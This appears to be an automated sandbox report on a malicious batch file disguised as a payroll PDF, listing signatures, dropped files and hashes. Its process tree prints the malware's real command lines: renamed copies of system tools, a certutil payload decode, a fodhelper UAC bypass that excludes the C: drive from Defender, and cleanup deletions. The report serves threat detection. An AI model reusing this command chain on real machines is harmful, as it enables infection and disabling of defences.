Analysis

  • max time kernel
    34s
  • max time network
    42s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    29/07/2024, 03:52

General

  • Target
    Payroll for July.PDF.bat
  • Size 4.9MB
  • Sample240729-efkenawend
  • SHA256 68711195c07e287987488f7045c7147501ccfbae22318b8460d01a86d2f09599
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Executes dropped EXE 27 IoCs
  • Loads dropped DLL 9 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:112
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:2780
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2300
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2796
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2940
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
            3⤵
            • Executes dropped EXE
            PID:2984
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2856
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
            3⤵
            • Executes dropped EXE
            PID:2972
        • C:\Users\Public\Libraries\Defux.COM
          C:\Users\Public\Libraries\Defux.COM
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3020
          • C:\Users\Public\Libraries\gspwscdY.pif
            C:\Users\Public\Libraries\gspwscdY.pif
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2252
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DE2F.tmp\DE30.tmp\DE31.bat C:\Users\Public\Libraries\gspwscdY.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2908
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:3036
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:2372
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:1908
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1720
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:1664
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1280
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:2668
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      PID:340
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:768
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c start /wait C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1052
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2104
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2168
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:2184
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        PID:2240
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1492
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                        5⤵
                        • Executes dropped EXE
                        PID:908
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettingsAdminFlows.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2072
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 5
                        5⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:2476
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 5
                          6⤵
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:1072
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:1932
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:1892
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:1792
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:1872
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:1912
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:1688
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Defux.COM C:\\Users\\Public\\Libraries\\Ydcswpsg.PIF
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:1988
                  • C:\Windows\SysWOW64\SndVol.exe
                    C:\Windows\System32\SndVol.exe
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:1996
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2880
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Defux.mpeg" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2864

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    CabDA89.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\CabDA89.tmp
                    • Size 70KB
                    • SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
                    • MD5 SHA1 SHA512 SSDEEP

                    DE31.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\DE2F.tmp\DE30.tmp\DE31.bat
                    • Size 1KB
                    • SHA256 cad29a052bcb297f5497d6c1a9d37bd938f9d3d7d75b6645f4221f379cf215ff
                    • MD5 SHA1 SHA512

                    TarDACA.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\TarDACA.tmp
                    • Size 181KB
                    • SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
                    • MD5 SHA1 SHA512 SSDEEP

                    Defux.mpeg

                    • Path C:\Users\Public\Defux.mpeg
                    • Size 3.4MB
                    • SHA256 7af8dff6d15de6862d34cba46e7705275a5a07ac9bf6303f9ec917ff8811e3a7
                    • MD5 SHA1 SHA512 SSDEEP

                    Defux.COM

                    • Path C:\Users\Public\Libraries\Defux.COM
                    • Size 984KB
                    • SHA256 0bde51c2efedcc1dc13504c70a1856f6bfb904c54b9a23b87d8aad5eda6e238f
                    • MD5 SHA1 SHA512 SSDEEP

                    ger.exe

                    • Path C:\Users\Public\ger.exe
                    • Size 73KB
                    • SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
                    • MD5 SHA1 SHA512 SSDEEP

                    xkn.exe

                    • Path C:\Users\Public\xkn.exe
                    • Size 462KB
                    • SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
                    • MD5 SHA1 SHA512 SSDEEP

                    gspwscdY.pif

                    • Path \Users\Public\Libraries\gspwscdY.pif
                    • Size 66KB
                    • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                    • MD5 SHA1 SHA512 SSDEEP

                    alpha.exe

                    • Path \Users\Public\alpha.exe
                    • Size 337KB
                    • SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
                    • MD5 SHA1 SHA512 SSDEEP

                    kn.exe

                    • Path \Users\Public\kn.exe
                    • Size 1.1MB
                    • SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/2104-105-0x0000000001E70000-0x0000000001E78000-memory.dmp

                    memory/2104-104-0x000000001B4B0000-0x000000001B792000-memory.dmp

                    memory/2252-76-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/2252-74-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/2252-77-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/2252-126-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/2252-124-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3020-30-0x0000000000400000-0x0000000000500000-memory.dmp